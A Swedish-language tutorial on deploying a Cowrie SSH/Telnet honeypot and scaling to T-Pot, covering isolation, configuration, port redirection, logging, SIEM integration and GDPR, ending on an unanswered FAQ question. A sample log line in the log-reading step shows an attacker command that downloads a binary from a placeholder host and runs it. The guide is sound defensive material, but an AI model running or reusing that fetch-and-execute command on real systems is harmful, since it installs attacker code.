En SSH-server som exponeras mot internet får sitt första inloggningsförsök inom minuter, ibland på under en minut. Det visade en analys från How-To Geek 2026, där forskare mätte tiden till första kontakt på nyuppsatta servrar i flera regioner (52 sekunder i det snabbaste fallet). Samma mönster syns i data från SANS Internet Storm Center, där en enda Cowrie-baserad honeypot loggade över 20 miljoner SSH-inloggningsförsök under knappt 100 dagar, ett snitt på cirka 200 000 försök per dygn. Det är den verkligheten en honeypot låter dig se, i stället för att bara ana den.

I den här guiden bygger vi en fungerande honeypot-miljö från grunden: en Cowrie SSH/Telnet-honeypot för riktad datainsamling, och en kort genomgång av T-Pot för team som vill ha ett helt honeypot-batteri med visualisering. Du får kommandon, konfigurationsfiler, loggtolkning och en checklista för drift som håller även när ett svenskt SOC-team ska granska resultatet på måndag morgon.

Vad är en honeypot och varför ska ett svenskt säkerhetsteam bry sig

En honeypot är ett system som medvetet ser sårbart eller intressant ut för en angripare, men som i själva verket bara samlar in data om vad angriparen gör. Till skillnad från en brandvägg eller ett IDS, som filtrerar eller flaggar trafik, bjuder en honeypot in interaktionen. Varje kommando, varje inloggningsförsök och varje uppladdad fil blir en spårbar händelse i loggarna, utan att produktionsmiljön någonsin exponeras.

Nyttan för nordiska team handlar om tre saker. För det första tidig varning: en honeypot som placeras i samma nätverkssegment som produktionssystem fångar interna rörelser innan de når riktiga tillgångar, eftersom ingen legitim trafik någonsin ska nå honeypoten. För det andra hotinformation: loggade lösenord, IP-adresser och uppladdad skadlig kod ger konkret underlag till incidenthanteringen och kan matchas mot andra källor, till exempel Shadowserver eller CISA:s KEV-lista. För det tredje utbildning: ett SOC-team som analyserar riktiga angreppsloggar från sin egen honeypot lär sig snabbare än genom simulerade övningar.

Det finns också gränser. En honeypot upptäcker bara angripare som faktiskt interagerar med den, den ersätter inte ett riktigt IDS eller SIEM, och en felkonfigurerad honeypot kan i värsta fall bli en språngbräda in i det interna nätverket. Den här guiden lägger därför stor vikt vid isolering, dedikerade användarkonton och nätverkssegmentering, inte bara installationskommandon.

Låg mot hög interaktionsnivå: förstå vilken typ av honeypot du bygger

Honeypots delas vanligtvis in efter hur mycket de låter en angripare göra innan spelet är över. En lågintensiv honeypot (low-interaction) simulerar bara enstaka tjänster eller bannrar, till exempel att svara på en portskanning med ett falskt SSH-banner utan att faktiskt tillåta inloggning. Den är enkel att driftsätta, låg risk och kräver minimalt underhåll, men fångar också begränsat med data, i huvudsak vem som knackar på och när.

En högintensiv honeypot (high-interaction), som Cowrie i sitt standardläge, går längre och låter angriparen faktiskt logga in i en emulerad skalmiljö, navigera ett falskt filsystem och köra kommandon som verkar utföras på riktigt. Det ger betydligt rikare data: fullständiga kommandosekvenser, nedladdade verktyg och beteendemönster som avslöjar om det är ett enkelt skript eller en mer målmedveten aktör. Priset är högre komplexitet i konfigurationen och ett större ansvar för isolering, eftersom mer realistisk interaktion i teorin ger en skickligare angripare fler ledtrådar att arbeta med, även om de aldrig når ett riktigt operativsystem.

Cowrie går faktiskt att köra i båda lägena. I standardläget shell emulerar den ett fullständigt filsystem och kommandotolk (högintensivt). I det alternativa läget proxy agerar Cowrie i stället som en mellanhand mot en riktig, men strikt isolerad, baksystem-honeypot, vilket ger ännu mer realistiska svar på bekostnad av högre driftkomplexitet. För de flesta team som börjar är standardläget shell fullt tillräckligt, och det är det läget den här guiden utgår från.

Cowrie mot T-Pot: vilket verktyg passar ditt team

Cowrie är en medel- till hög-interaktiv SSH- och Telnet-honeypot skriven i Python, byggd för att logga brute force-försök och simulera ett skal som angriparen kan interagera med. Den är lätt att driftsätta på en enda liten server och passar team som vill ha full kontroll över konfigurationen. T-Pot, utvecklat av Telekom Security (Deutsche Telekom), är i stället en containerbaserad plattform som paketerar ett tjugotal olika honeypotverktyg, bland annat Cowrie, Dionaea och nyare LLM-baserade honeypots som Beelzebub och Galah, tillsammans med Elastic Stack för visualisering och en levande attackkarta.

EgenskapCowrieT-Pot 24.04.1
TypEnskild SSH/Telnet-honeypotMulti-honeypot-plattform (20+ sensorer)
InstallationPython venv eller Docker-containerDocker Compose-stack via installationsskript
MinneskravCirka 1-2 GB RAM för en enskild sensorMinst 8 GB RAM för sensorinstallation, 16 GB för full “hive”-stack
DiskkravCirka 20 GB (loggar och malware-prover)128 GB (sensor) till 256 GB (full stack)
VisualiseringIngen inbyggd, kräver extern SIEM/dashboardInbyggd Kibana-dashboard och live attackkarta
Bäst förRiktad datainsamling, forskning, en enda tjänstBredare hotövervakning, SOC med egen infrastruktur

För de flesta team som tar sina första steg är Cowrie det rimliga valet: lägre resurskrav, enklare felsökning och en konfigurationsfil som går att läsa på fem minuter. Den här guiden fokuserar därför på en komplett Cowrie-installation, med ett avslutande avsnitt om hur du skalar upp till T-Pot när du vill ha fler honeypot-typer och en färdig dashboard.

Värt att nämna är också Dionaea, en honeypot inriktad på att fånga skadlig kod som sprids via nätverksprotokoll som SMB, FTP och olika databastjänster, snarare än interaktiva skalsessioner. Dionaeas nuvarande stabila release är 0.11.0, dokumenterad i projektets officiella dokumentation och paketerad i bland annat Fedora och EPEL. Den ingår också som en av standardsensorerna i T-Pot, taggad mot plattformens 24.04.1-release. Om ditt primära intresse är att samla in skadlig kod snarare än att studera interaktivt angriparbeteende, är Dionaea ofta ett bättre förstahandsval än Cowrie, men de två kompletterar varandra väl när de körs tillsammans i en T-Pot-installation.

Honeypot-statistik 2025–2026: hur mycket trafik du kan förvänta dig

Innan du sätter upp din egen sensor är det värt att förstå skalan. Publicerad data från flera oberoende honeypot-operatörer under 2025 och 2026 visar att exponerade tjänster attraheras av automatiserad skanning i en omfattning de flesta underskattar innan de sett siffrorna själva. Ett bra exempel är SANS ISC:s genomgång av koordinerade SSH-brute force-attacker, som låg till grund för flera av siffrorna nedan.

KällaPeriodVolymDetalj
SANS ISC / DShield (Cowrie-baserad)Cirka 100 dagar, 202620+ miljoner SSH-försökCirka 200 000 försök per dygn från en enda sensor
T-Pot på Google Cloud24 timmar, 2025Cirka 66 000 attacker65 procent riktade mot port 22, Cowrie stod för cirka 33 000 av dessa
Fristående SSH-honeypot8 dagar, december 202527 443 anslutningar172 unika IP-adresser, medianlängd 1,15 sekunder per session
AhnLab ASEC (Linux SSH-telemetri)Q4 202580,4 procent av attackernaMasken P2PInfect dominerade all observerad SSH-malware-trafik

Mönstret är tydligt: den absoluta majoriteten av trafiken är automatiserad, snabb och riktad mot standardportar. En median-sessionslängd på drygt en sekund betyder att de flesta besökare är skript som testar inloggningsuppgifter och kopplar ner direkt, inte människor som utforskar systemet manuellt. Det är just den lilla andelen längre sessioner, ofta under en minut, som brukar innehålla det mest intressanta beteendet: nedladdning av verktyg, försök att etablera beständighet eller lateral rörelse.

Geografiskt skiftar ursprunget för attackerna från kvartal till kvartal. Kasperskys telemetri visade att Tysklands andel av observerade SSH-attacker hoppade från 1,6 procent under första kvartalet 2025 till 24,6 procent under andra kvartalet, medan Kinas andel föll från cirka 33 till 20 procent under samma period. Slutsatsen för ett svenskt team är att käll-IP:ns geografi säger relativt lite om vem som faktiskt ligger bakom ett angrepp, infrastrukturen flyttar snabbt mellan hostingleverantörer och länder.

Förkunskaper och versioner

Innan du börjar, se till att följande finns på plats. Cowries officiella dokumentation kräver Python 3.10 eller senare (stöd för 3.9 har fasats ut), och projektets senaste taggade release på GitHub är 2.8.1 (9 oktober 2025), medan projektets utvecklingsdokumentation visar att en 3.0.x-gren med brytande konfigurationsändringar är under aktiv utveckling. Klonar du main-grenen bör du läsa igenom ändringsloggen innan du migrerar en befintlig installation, katalogstrukturen för state-mappen ändrades i version 3.0.0.

  • En virtuell maskin eller molninstans med Debian 12 (Bookworm) eller Ubuntu 24.04 LTS
  • Minst 1 vCPU, 1-2 GB RAM och 20 GB diskutrymme för en dedikerad Cowrie-sensor
  • Python 3.10 eller senare med venv-modulen installerad
  • Root- eller sudo-access för att konfigurera brandvägg och portvidarebefordran
  • Ett publikt IP eller portvidarebefordran från din router om du kör hemma
  • Grundläggande kunskap om iptables eller nftables

Kör du hellre honeypoten i en container behöver du Docker Engine, version 24 eller senare rekommenderas av projektet. Cowries officiella imagenamn på Docker Hub är cowrie/cowrie, och byggkedjan uppgraderades under 2026 till Debian 13 (trixie) med Python 3.13 i containern, även om det lokala kravet fortfarande är 3.10 eller senare.

Steg 1: Välj och härda värdservern

Placera aldrig honeypoten i samma nätverkssegment som produktionssystem med känslig data. Bästa praxis är en dedikerad VPS eller ett isolerat VLAN utan direkt routing till interna resurser. Uppdatera systemet och skapa sedan en dedikerad, icke-privilegierad användare för Cowrie-processen, inte din vanliga adminanvändare.

sudo apt update && sudo apt upgrade -y
sudo adduser --disabled-password --gecos "" cowrie
sudo usermod -L cowrie
id cowrie

Kontot ska aldrig ha sudo-rättigheter. Tanken är att om en angripare på något sätt tar sig ur den emulerade skalmiljön ska de landa som en maktlös användare utan möjlighet att röra sig vidare i systemet.

Steg 2: Installera systemberoenden

Cowrie är skrivet i ren Python men beroenden som cryptography, cffi och bcrypt kompilerar native-kod, så en fullständig byggkedja behövs. På Debian Bookworm eller Ubuntu 24.04 installerar du paketen så här:

sudo apt install -y git python3-venv python3-dev python3-pip \
  libssl-dev libffi-dev build-essential libpython3-dev \
  authbind virtualenv

authbind behövs om du vill att en oprivilegierad process ska kunna binda direkt till port 22. De flesta produktionsuppsättningar använder i stället portvidarebefordran via iptables, vilket vi går igenom i steg 6.

Steg 3: Klona och installera Cowrie

Växla till cowrie-användaren och klona repot. Skapa sedan en virtuell miljö och installera Cowrie med pip, vilket är den metod som projektets aktuella dokumentation rekommenderar framför den äldre requirements.txt-baserade installationen.

sudo su - cowrie
git clone https://github.com/cowrie/cowrie.git
cd cowrie
python3 -m venv cowrie-env
source cowrie-env/bin/activate
pip install --upgrade pip
pip install cowrie
cowrie init

cowrie init skapar statuskatalogen med undermappar för loggar, konfiguration och den emulerade filsystembilden. Verifiera att installationen fungerar genom att köra cowrie --version innan du går vidare. Fastnar du i något steg är projektets officiella installationsdokumentation och källkodsrepot på GitHub de mest tillförlitliga referenserna, båda uppdateras löpande i takt med nya releaser.

Steg 4: Konfigurera cowrie.cfg

Konfigurationen styrs av filen etc/cowrie.cfg, som skapas genom att kopiera standardmallen. Kopiera filen och öppna den i din editor.

cp etc/cowrie.cfg.dist etc/cowrie.cfg
nano etc/cowrie.cfg

De inställningar som är viktigast att gå igenom manuellt:

  • hostname: sätt ett trovärdigt värdnamn, till exempel svr-app-prod-03, inte “honeypot” eller “cowrie”
  • listen_endpoints: standardport för SSH är 2222, ändra inte utan att uppdatera portvidarebefordran i steg 6
  • [telnet] enabled: sätt till true om du även vill fånga Telnet-baserad IoT-skanning, vanligt bland Mirai-varianter
  • [output_jsonlog] enabled: lämna som true, JSON-loggen är det du senare matar in i Wazuh eller ett annat SIEM
  • [shell] filesystem: peka mot standard honeyfs-katalogen, som simulerar ett riktigt filsystem angriparen kan utforska

Ett vanligt nybörjarmisstag är att lämna hostname som standardvärdet. En angripare som kör uname -a eller hostname och ser ett uppenbart honeypot-namn avbryter interaktionen direkt, och du förlorar den mest intressanta datan: vad de gör efter inloggning.

Steg 5: Skapa trovärdiga inloggningsuppgifter

Cowrie levereras med en userdb.txt-fil som styr vilka kombinationer av användarnamn och lösenord som accepteras. Standardinställningen accepterar i princip vad som helst, vilket maximerar antalet loggade försök, men du kan justera den om du specifikt vill studera riktade brute force-kampanjer mot kända svaga kombinationer. I en T-Pot-analys på Google Cloud 2025 var root/123456 bland de vanligaste inloggningsparen i trafiken mot en honeypot-sensor.

cat etc/userdb.example
# Formatet är: användarnamn:UID:lösenord
root:x:*
admin:x:admin123

# Kopiera exempelfilen och redigera efter behov
cp etc/userdb.example etc/userdb.txt

Steg 6: Omdirigera trafik från port 22 till honeypoten

Angripare skannar nästan uteslutande standardport 22. Om din honeypot lyssnar på port 2222 utan omdirigering missar du merparten av trafiken. Lösningen är att flytta den riktiga SSH-tjänsten till en hög port och låta iptables peka om port 22 mot Cowrie.

# Flytta den riktiga SSH-tjänsten till port 22222 i /etc/ssh/sshd_config
sudo sed -i 's/#Port 22/Port 22222/' /etc/ssh/sshd_config
sudo systemctl restart sshd

# Omdirigera inkommande trafik på port 22 och 23 till Cowrie
sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2222
sudo iptables -t nat -A PREROUTING -p tcp --dport 23 -j REDIRECT --to-port 2223

# Spara reglerna så de överlever omstart
sudo apt install -y iptables-persistent
sudo netfilter-persistent save

Testa alltid att du fortfarande kan logga in på den riktiga servern via port 22222 innan du stänger din nuvarande session. Att låsa sig ute ur en molninstans utan konsolåtkomst är ett av de vanligaste och mest tidskrävande misstagen i den här typen av uppsättning.

Steg 7: Starta Cowrie och verifiera att den lyssnar

cd ~/cowrie
source cowrie-env/bin/activate
cowrie start

# Kontrollera att processen lyssnar
cowrie status
ss -tlnp | grep 2222

Ett lyckat resultat ser ut ungefär så här:

$ cowrie status
cowrie is running (PID: 48213).

$ ss -tlnp | grep 2222
LISTEN 0 50 0.0.0.0:2222 0.0.0.0:* users:(("twistd",pid=48213,fd=7))

Testa sedan från en annan maskin att ansluta mot ditt publika IP på standardport 22, som nu ska routas till Cowrie:

ssh root@

Du ska landa i ett skal som ser ut som en vanlig Linux-server, med filsystem, processlista och grundläggande kommandon som fungerar, men allt är simulerat och loggat.

Steg 8: Sätt upp Cowrie som en systemd-tjänst

En honeypot som stannar efter en omstart samlar ingen data. Skapa en systemd-enhet så att Cowrie startar automatiskt och återstartar vid krasch.

sudo tee /etc/systemd/system/cowrie.service > /dev/null <<'EOF'
[Unit]
Description=Cowrie SSH/Telnet Honeypot
After=network.target

[Service]
Type=forking
User=cowrie
WorkingDirectory=/home/cowrie/cowrie
ExecStart=/home/cowrie/cowrie/cowrie-env/bin/cowrie start
ExecStop=/home/cowrie/cowrie/cowrie-env/bin/cowrie stop
Restart=on-failure
RestartSec=10

[Install]
WantedBy=multi-user.target
EOF

sudo systemctl daemon-reload
sudo systemctl enable --now cowrie.service
sudo systemctl status cowrie.service

Steg 9: Läs och tolka loggarna

Cowrie skriver till två parallella loggformat i var/log/cowrie: ett läsbart textformat (cowrie.log) och strukturerad JSON (cowrie.json). JSON-formatet är det du vill mata vidare till ett SIEM. Varje session får ett eget session-ID som följer med genom alla händelser: anslutning, inloggningsförsök, körda kommandon och eventuell filnedladdning.

tail -f var/log/cowrie/cowrie.json | jq 'select(.eventid=="cowrie.login.success")'

Ett typiskt utdrag ur JSON-loggen för en session där angriparen lyckas logga in och sedan agerar:

{"eventid": "cowrie.login.success", "username": "root", "password": "123456", "src_ip": "198.51.100.42", "session": "a3f9d21c", "timestamp": "2026-09-09T03:14:07.512Z"}
{"eventid": "cowrie.command.input", "input": "wget http://malicious.example/x86 -O /tmp/.x86; chmod +x /tmp/.x86; /tmp/.x86", "session": "a3f9d21c", "timestamp": "2026-09-09T03:14:19.998Z"}

Det här mönstret, en snabb inloggning följt av ett wget-kommando som hämtar en binär och kör den direkt, är en klassisk signatur för Mirai-liknande botnet-rekrytering. Akamais säkerhetsteam har under 2025 kopplat flera aktiva IoT-kampanjer, bland annat mot GeoVision- och Edimax-enheter, till exakt den här typen av automatiserade payload-leveranser, upptäckta via honeypot-nätverk. En incident som SANS ISC dokumenterade i maj 2026 visade hur en angripare, inom 22 sekunder efter lyckad inloggning på en Cowrie-honeypot, hann injicera en bakdörrs-SSH-nyckel, byta root-lösenordet och köra automatiserad rekognosering, se SANS ISC:s incidentdagbok.

Steg 10: Fånga upp och analysera uppladdad skadlig kod

När en angripare försöker ladda ner en fil via det emulerade skalet sparar Cowrie kopian lokalt i var/lib/cowrie/downloads/, namngiven efter filens SHA-256-hash. Det gör det enkelt att skicka provet vidare till en sandbox eller ett analysverktyg utan att någonsin exponera din riktiga miljö.

ls -la var/lib/cowrie/downloads/
sha256sum var/lib/cowrie/downloads/*
file var/lib/cowrie/downloads/*

Behandla varje fil i den här katalogen som verklig skadlig kod. Öppna den aldrig direkt på en arbetsstation, och överför den bara till isolerade analysmiljöer.

Steg 11: Håll Cowrie uppdaterad och patchad

Precis som all annan programvara som exponeras mot internet behöver en honeypot patchas. Cowrie har en dokumenterad sårbarhet, CVE-2025-34469, en SSRF-brist (server-side request forgery) i den emulerade wget/curl-implementationen. Versioner före 2.9.0 saknade begränsning av utgående anrop, vilket gjorde att en angripare kunde tvinga honeypoten att skicka obegränsat med HTTP-trafik mot godtyckliga tredjepartsmål, i praktiken missbruka din honeypot som en DDoS-förstärkare och dölja sig bakom honeypotens IP. Kontrollera din version och uppgradera om du kör en äldre installation.

cowrie --version
pip install --upgrade cowrie
cowrie restart

Läs mer om sårbarheten i Vulerts sårbarhetsdatabas eller i den ursprungliga GitLab-säkerhetsrådgivningen. Sätt upp en enkel rutin: kontrollera GitHub-repot för nya release-taggar minst en gång i månaden, samma disciplin som du redan tillämpar för produktionssystem.

Steg 12: Skala upp med T-Pot när du behöver fler sensorer

När en enskild Cowrie-instans inte längre räcker, till exempel om du vill fånga upp webb-, databas- och IoT-riktade attacker parallellt, är T-Pot nästa steg. Installationen sker via ett skript som drar ner samtliga containrar via Docker Compose.

git clone https://github.com/telekom-security/tpotce
cd tpotce
./install.sh
# Följ den interaktiva guiden och välj installationstyp (Standard, Sensor, Hive med mera)
./deploy.sh

Räkna med minst 16 GB RAM och 256 GB SSD för en fullständig standardinstallation med Elastic Stack, enligt projektets officiella release-anteckningar på GitHub. En ren sensorinstallation utan den tunga visualiseringsstacken klarar sig med omkring 8 GB RAM. T-Pot 24.04.1 introducerade också de första LLM-baserade honeypottyperna i plattformen, Beelzebub (SSH) och Galah (HTTP), som genererar dynamiska, mer trovärdiga svar till angriparen med hjälp av en språkmodell, antingen via Ollama lokalt eller en extern modell-API-nyckel.

Steg 13: Koppla honeypoten till ditt SIEM

En honeypot som ingen tittar på är ett brandlarm utan högtalare. Cowries JSON-logg är strukturerad för att enkelt matas in i ett SIEM för korrelation med andra källor, till exempel din brandvägg eller din IDS-lösning. Ett minimalt exempel med Filebeat mot en Wazuh-installation (för teamet som redan har byggt en Wazuh-stack enligt vår tidigare guide):

# /etc/filebeat/filebeat.yml
filebeat.inputs:
  - type: log
    enabled: true
    paths:
      - /home/cowrie/cowrie/var/log/cowrie/cowrie.json
    json.keys_under_root: true
    json.add_error_key: true
    tags: ["cowrie", "honeypot"]

output.elasticsearch:
  hosts: ["https://wazuh-indexer.example.internal:9200"]

Skapa sedan en enkel varningsregel som larmar om antalet unika käll-IP mot honeypoten avviker kraftigt från det normala, ofta ett tidigt tecken på att en ny skanningskampanj eller ett nytt botnet har börjat rikta in sig mot ditt IP-intervall.

Steg 14: Rotera loggar och planera lagring

En aktiv honeypot genererar stora datamängder snabbt. Ett enda sensor-exempel som analyserats publikt fångade omkring 66 000 attacker under ett dygn, fördelat mellan Cowrie, Honeytrap och Dionaea på en T-Pot-installation i Google Cloud. Utan logghantering fylls disken snabbt. Använd logrotate för att hålla filstorleken under kontroll.

sudo tee /etc/logrotate.d/cowrie > /dev/null <<'EOF'
/home/cowrie/cowrie/var/log/cowrie/*.json {
    daily
    rotate 30
    compress
    missingok
    notifempty
    copytruncate
}
EOF

Arkivera komprimerade loggar i minst 90 dagar om din organisation lyder under NIS2 eller motsvarande krav på spårbarhet vid incidentutredning.

Vanliga misstag att undvika

  • Standardvärdnamn: att lämna hostname som "cowrie" eller liknande avslöjar honeypoten för erfarna angripare inom sekunder.
  • Ingen portomdirigering: kör du bara på port 2222 utan att peka om port 22 missar du merparten av den automatiserade skanningstrafiken, som nästan uteslutande riktas mot standardporten.
  • Samma nätverkssegment som produktion: en honeypot i produktionsnätet skapar en verklig risk om isoleringen brister, placera den alltid i ett separat VLAN eller på en dedikerad instans.
  • Glömd patchning: precis som CVE-2025-34469 visar kan en honeypot själv bli en sårbar komponent som missbrukas, till exempel som DDoS-förstärkare.
  • Administratörskonto med sudo: kör aldrig honeypot-processen som en användare med förhöjda rättigheter, det underminerar hela poängen med isolering.
  • Ingen loggrotation: en obevakad honeypot kan fylla disken på dagar, särskilt om den utsätts för en koordinerad brute force-kampanj i stil med de 20 miljoner försök som SANS ISC dokumenterat.
  • Att analysera skadlig kod på arbetsstationen: öppna aldrig nedladdade prover direkt, flytta dem alltid till en isolerad analysmiljö.

Felsökning: 8 vanliga problem och lösningar

  • Cowrie startar inte alls: kontrollera att den virtuella miljön är aktiverad (source cowrie-env/bin/activate) innan du kör cowrie start, och läs var/log/cowrie/cowrie.log för stacktrace.
  • "Address already in use" vid start: en annan process, ofta en tidigare Cowrie-instans som inte stängdes rent, upptar redan porten. Kör ss -tlnp | grep 2222 och avsluta den gamla processen med kill.
  • Inga anslutningar loggas trots aktiv tjänst: iptables-reglerna för omdirigering från port 22 saknas eller har försvunnit efter omstart. Verifiera med sudo iptables -t nat -L -n och installera iptables-persistent om reglerna inte överlevde en omstart.
  • Du blir utelåst från servern: om du glömde flytta den riktiga SSH-tjänsten till port 22222 innan du aktiverade omdirigeringen, använd molnleverantörens webbaserade konsol för att återställa iptables-reglerna.
  • pip install cowrie misslyckas med kompileringsfel: oftast saknas libssl-dev, libffi-dev eller build-essential. Installera om systemberoendena från steg 2 och försök igen.
  • JSON-loggen är tom trots aktivitet i textloggen: kontrollera att [output_jsonlog] enabled = true är satt i cowrie.cfg och starta om tjänsten efter ändringen.
  • Angripare identifierar honeypoten och kopplar ner direkt: se över hostname, bannertext och filsystemsinnehåll i honeyfs, ett alltför tomt eller uppenbart falskt filsystem avslöjar dig.
  • Systemd-tjänsten startar inte vid boot: kontrollera sökvägarna i ExecStart, de måste peka mot den fullständiga sökvägen inom din venv, inte bara kommandot cowrie.
  • Hög CPU-belastning under intensiva skanningsperioder: det här är normalt vid koordinerade brute force-vågor. Om belastningen blir ett problem, begränsa antalet samtidiga anslutningar i konfigurationen eller flytta till en instans med fler kärnor.

Avancerade tips för produktionsdrift

När grundinstallationen är stabil finns flera sätt att höja kvaliteten på datan du samlar in. Aktivera Telnet parallellt med SSH, IoT-riktade botnet som Mirai-varianter skannar ofta efter Telnet-exponerade enheter snarare än SSH, och du missar en hel angreppskategori om den porten är avstängd. Bygg ett eget, mer detaljerat filsystem i honeyfs baserat på en riktig serverkonfiguration från din miljö (utan känslig data förstås), ett skräddarsytt filsystem håller angripare engagerade längre och ger mer analysmaterial.

Överväg också att köra flera honeypot-instanser med olika profiler samtidigt, en som ser ut som en webbserver, en som ser ut som en databas, för att bredda vilka typer av kampanjer du fångar. Om du vill gå längre än Cowries fasta skalsvar kan T-Pots LLM-baserade honeypot Beelzebub generera dynamiska svar som håller kvar mer sofistikerade angripare betydligt längre i sessionen, vilket ger djupare inblick i deras metodik. Slutligen: dela anonymiserad hotdata med community-projekt som SANS ISC:s DShield om din organisation tillåter det, det bidrar till ett gemensamt lägesbild för hela branschen och du får ofta tillbaka aggregerad statistik som är svår att bygga själv.

Berika data med hotinformation och dela den vidare

Rådata från en enskild honeypot blir mer värdefull när den kombineras med extern hotinformation. Ett vanligt arbetssätt är att slå upp varje unik käll-IP mot en delad indikatordatabas, till exempel ett internt MISP-instans (Malware Information Sharing Platform) eller en kommersiell hotintelligenstjänst, för att se om IP:n redan är känd för annan skadlig aktivitet. På samma sätt kan hashvärden för uppladdade filer köras mot en malware-databas innan du lägger ner tid på manuell analys, om hashen redan är känd sparar det timmar.

# Exempel: extrahera unika käll-IP från en dags loggar för vidare uppslag
jq -r 'select(.eventid=="cowrie.session.connect") | .src_ip' \
  var/log/cowrie/cowrie.json | sort -u > dagens_ip.txt

wc -l dagens_ip.txt

Om din organisation har mognaden för det, överväg att bidra tillbaka. Projekt som SANS ISC:s DShield samlar in anonymiserad data från tusentals frivilliga sensorer världen över och publicerar aggregerad statistik som alla kan använda. Ju fler sensorer som deltar, desto tydligare blir bilden av vilka kampanjer som är på väg innan de blir en artikel i nyheterna. Samma resonemang gäller Shadowserver, som publicerar dagliga rapporter om exponerad och angripen infrastruktur och som flera myndigheter i Norden redan prenumererar på för att komplettera sin egen sårbarhetsövervakning.

Komplett fungerande projekt: från noll till larmande honeypot

Sammanfattningsvis ser en komplett, driftsatt Cowrie-honeypot ut så här när alla steg är genomförda:

  1. Dedikerad VM i eget nätverkssegment, uppdaterat OS, dedikerad icke-privilegierad användare
  2. Cowrie installerat via pip i en virtuell miljö, initierat med cowrie init
  3. cowrie.cfg konfigurerad med trovärdigt hostname, Telnet aktiverat, JSON-loggning påslagen
  4. Riktig SSH flyttad till port 22222, iptables omdirigerar port 22 och 23 till Cowrie
  5. Systemd-tjänst som håller processen igång och startar om vid krasch eller omstart
  6. Logrotation konfigurerad för att hålla diskanvändningen under kontroll
  7. Filebeat eller motsvarande som skickar JSON-loggen till ett SIEM för larm och korrelation
  8. Rutin för månatlig versionskontroll och patchning av Cowrie själv

Med den här grunden på plats har du en sensor som fångar allt från enkla lösenordsgissningar till riktade botnet-kampanjer, och ett dataflöde som är redo att kopplas in i din befintliga incidenthanteringsprocess.

Verkliga fall: vad honeypots har fångat 2025–2026

Honeypots är inte bara ett teoretiskt övningsverktyg, de har återkommande legat bakom upptäckten av aktiva angreppskampanjer under 2025 och 2026. Akamais säkerhetsteam (SIRT) har flera gånger krediterat sitt globala honeypot-nätverk för att först ha identifierat exploatering av nya sårbarheter i IoT-enheter, ofta kopplade till Mirai-varianter som rekryterar enheter till botnet.

SårbarhetMålUpptäcktKoppling till botnet
CVE-2024-6047 / CVE-2024-11120GeoVision IoT-enheter (nedlagda modeller)April 2025, via Akamais honeypot-nätverkNedladdning av en ARM-baserad Mirai-payload kallad "boatnet"
CVE-2025-1316Edimax nätverkskamerorMars 2025, Akamai SIRTUtnyttjad av flera parallella Mirai-varianter
CVE-2024-3721TBK DVR-enheter (flera rebrandade märken)2025, identifierad via Linux-honeypotsMirai-variant, rapporterad av Kaspersky
Kritisk RCE i Wazuh XDRServrar som kör sårbar Wazuh-versionMars 2025, Akamai-honeypotsBotnetten "Lzrd" och "Resgod", båda Mirai-släktingar

Honeypots fångar inte bara automatiserade botnet. I september 2025 dokumenterade säkerhetsföretaget Forescout hur en honeypot byggd för att efterlikna ett vattenreningsverk blev måltavla för den rysslandsanknutna hacktivistgruppen TwoNet, ett av de första fallen där forskarna kunde bekräfta att ett angrepp som en hacktivistgrupp offentligt tog på sig faktiskt träffade deras egen honeypot. Resecurity har på liknande sätt rapporterat att man använt honeypot-baserade lockkonton för att observera aktiviteten hos gruppen känd som "ShinyHunters" respektive "Scattered Lapsus$ Hunters", som under samma period riktade in sig mot flyg-, telekom- och rättsväsendesektorn.

Det gemensamma för de här fallen är att honeypots gav försvarare information om nya angreppsmönster innan sårbarheterna hann exploateras i stor skala mot produktionsmiljöer. Det är precis den rollen en väl konfigurerad Cowrie- eller T-Pot-installation kan fylla även i en svensk eller nordisk kontext, som en tidig sensor för vad som är på väg mot er infrastruktur.

Juridiska och etiska överväganden i Sverige

Att driva en honeypot är i sig inte olagligt i Sverige, men du samlar in personuppgifter i form av IP-adresser och ibland även personnamn i användarnamn eller lösenordsförsök, vilket gör GDPR relevant. Dokumentera syftet med insamlingen, begränsa lagringstiden i logrotationen till vad som faktiskt behövs för säkerhetsanalys, och undvik att publicera rådata med IP-adresser utan anonymisering om du delar resultat externt. Provocera aldrig fram handlingar hos en angripare utöver att passivt observera vad de gör i den emulerade miljön, honeypoten ska samla in beteende, inte aktivt locka till brottslig handling som inte redan var på väg att ske.

Informera gärna din organisations dataskyddsombud innan honeypoten går i drift, särskilt om loggarna ska delas med tredje part som SANS ISC eller ett community-projekt. De flesta DPO:er behöver bara en kort beskrivning av syfte, datatyper och lagringstid för att kunna ge klartecken, men att hoppa över det steget helt kan bli ett problem längre fram om verksamheten skalar upp insamlingen.

Vanliga frågor

Är det lagligt att driva en honeypot i Sverige?
Ja, så länge du inte lockar besökare till att begå brott de annars inte skulle ha begått, och så länge du hanterar insamlade IP-adresser och andra personuppgifter i enlighet med GDPR.

Kan en honeypot bli hackad och användas mot mig?
Ja, om den inte isoleras och patchas ordentligt. CVE-2025-34469 i Cowrie visade att en ouppdaterad honeypot kunde missbrukas som DDoS-förstärkare. Håll alltid honeypoten i ett eget nätverkssegment och uppdatera regelbundet.

Hur mycket trafik ska jag förvänta mig?
Räkna med kontakt inom minuter till några timmar efter att honeypoten publiceras, och tusentals till tiotusentals anslutningsförsök per dygn beroende på synlighet och IP-intervall, baserat på publicerad data från SANS ISC och oberoende honeypot-analyser under 2025 och 2026.

Behöver jag T-Pot om jag redan kör Cowrie?
Inte nödvändigtvis. Cowrie räcker gott för att studera SSH- och Telnet-riktade attacker. T-Pot blir relevant när du vill täcka fler protokoll och tjänster samtidigt, eller vill ha en färdig visualiseringsdashboard utan att bygga den själv.

Kan jag köra Cowrie på en Raspberry Pi eller liknande liten enhet?
Ja, Cowries resurskrav är låga, omkring 1-2 GB RAM räcker i normalfallet, vilket gör den lämplig för mindre enheter så länge nätverksisoleringen sköts korrekt.

Vad gör jag med den skadliga koden som fångas upp?
Behandla den som verklig malware. Hasha filerna, förvara dem i en isolerad miljö, och skicka dem till en sandbox eller analysverktyg för granskning. Öppna dem aldrig direkt på en arbetsstation.

Hur skiljer sig en honeypot från ett IDS som Suricata eller Snort?
Ett IDS analyserar trafik i realtid mot signaturer eller anomalier i ditt riktiga nätverk. En honeypot är i stället ett separat, medvetet exponerat system som bara existerar för att observera vad som händer när någon interagerar med det. De kompletterar varandra snarare än att ersätta varandra.

Kan en honeypot fånga statsunderstödda aktörer, inte bara botnet?
